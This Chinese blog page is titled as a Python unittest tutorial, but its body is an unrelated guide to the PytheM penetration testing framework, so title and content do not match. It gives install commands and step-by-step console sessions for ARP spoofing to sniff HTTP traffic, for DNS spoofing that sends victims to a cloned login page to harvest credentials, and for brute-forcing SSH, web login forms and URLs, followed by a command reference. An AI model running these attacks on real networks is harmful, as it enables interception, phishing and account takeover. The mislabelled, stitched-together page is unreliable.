欢迎光临
梦想从学习开始!

Python的Unittest单元测试使用详解| 小熊测试

本文主要介绍 Python的Unittest单元测试使用详解| 小熊测试,小熊希望对大家的学习或者工作具有一定的参考学习价值,在测试领域有所提升和发展。

  PytheM是一个Python渗透测试框架。它只能在osnGNU/Linux OS系统上运行。

  安装

  $sudo apt-get update    $sudo apt-get install libasound-dev libjack-jackd2-dev portaudio19-dev python-pyaudio build-essential python-dev libnetfilter-queue-dev libespeak1 libffi-dev libssl-dev    $sudo git clone https://github.com/m4n3dw0lf/PytheM/    $cd PytheM    $sudo pip install -r requirements.txt

  运行

  $sudo ./pythem

  例子

  ARP欺骗-HTTP中间人攻击

  命令:

  pythem> set interface  [+] Enter the interface: wlan0  pythem> set gateway  [+] Enter the gateway: 192.168.1.1  pythem> arpspoof start  [+] Setting the packet forwarding.  [+] Iptables redefined.  [+] ARP spoofing initialized.  pythem> sniff  [+] Enter the filter: http

  ARP+DNS欺骗-重定向到伪造的页面,收集登录凭证

  使用SET等克隆工具克隆你选中的网站,并部署在Apache2上

  命令:

  pythem> set target  [+] Enter the target(s): 192.168.0.8  pythem> set interface wlan0  pythem> set gateway 192.168.0.1  pythem> arpspoof start  [+] Setting the packet forwarding.  [+] Iptables redefined.  [+] ARP spoofing initialized.  pythem> dnsspoof start  [+] Domain to be spoofed: www.google.com  [+] IP address to be redirected: 192.168.0.6  [+] DNS spoofing initialized.  pythem> sniff dns

  SSH暴破-暴力破解

  pythem> service ssh start  pythem> set target   [+] Enter the target(s): 127.0.0.1  pythem> set file wordlist.txt  pythem> brute-force ssh  [+] Enter the username to bruteforce: anon123

  Web页面参数暴力破解

  首先获取web页面登录时的参数格式id= value

  显示重定向页面,如果定向到一个不同的页面则说明猜解正确。

  命令

  pythem> set target http://127.0.0.1/  pythem> set file  [+] Enter the path to the file: wordlist.txt  pythem> brute-force webform  [+] Brute-Form authentication initialized.  [+] Enter the input id of the username box: vSIS_ID  [+] Enter the input id of the password box: vSIS_PASS  [+] Enter the username to brute-force the formulary: root

  URL内容爆破

  pythem> set target  [+] Enter the target(s): http://testphp.vulnweb.com/index.php?id=  pythem> set file 1to100.txt  pythem> brute-force url  [+] Content URL bruter initialized.

  功能

  [ PytheM – Penetration Testing Framework v0.3.2 ]

  help:

  打印帮助信息。

  exit/quit:

  退出程序。

  set:

  设置变量的值,参数:

  interface

  gateway

  target

  file

  arpmode例子:

  pythem> set interface | open input to set

  或者

  pythem> set interface wlan0 | don't open input to set value

  print:

  打印变量的值,例子:

  pythem> print gateway

  scan:

  进行tcp/manualport/arp扫描.

  (应该在设置完网卡和目标后再调用)例子:

  pythem> scan

  或者

  pythem> scan tcp

  arpspoof:

  开始或结束arpspoofing攻击. (使用rep或req可以设置arp欺骗的模式,rep表示欺骗响应,req表示欺骗请求)

  参数

  start

  stop

  例子:

  arpspoof startarpspoof stop

  dnsspoof:

  开始dnsspoofing攻击. (应该在arp欺骗攻击开始后再调用)例子:

  pythem> dnsspoof startpythem> dnsspoof stop

  sniff:

  开始嗅探数据包(应该在设置网卡后再调用)例子:

  pythem> sniff http

  或者

  pythem> sniff

  [+] Enter the filter: port 1337 and host 10.0.1.5 | tcpdump like format or http,dns specific filter.

  pforensic:

  开始分析数据包(应该在设置完网卡和.pcap文件后调用)例子:

  pythem> pforensicpforensic> help

  brute-force:

  开始暴力破解攻击(应该在设置完目标和字典文件路径后调用)参数:

  ssh | 目标是IP地址ip address as target        url | 目标是url (包含http://或https://)        webform | 目标是url (包含http://或https://)例子:        pythem> brute-force webform        pythem> brute-force ssh

  geoip:

  显示IP地址的大概位置(应该在设置目标(IP地址)后再调用)例子:

  pythem> geoip

  或者

  pythem> geoip 8.8.8.8

  decode and encode:

  以选择的模式解码和编码字符串,例子:

  pythem> decode base64pythem> encode ascii

  cookiedecode:

  解码base64 url编码的cookie的值,例子:

  pythem> cookiedecode

  其它在控制台可以执行的命令,比如cd, ls, nano, cat 等。

  Jarvis – 声音控制助手

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持小熊分享邦(www.xxfxb.com),希望大家能坚持软件测试之路,谢谢。

赞(0) 打赏
未经允许不得转载:小熊分享邦 » Python的Unittest单元测试使用详解| 小熊测试

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏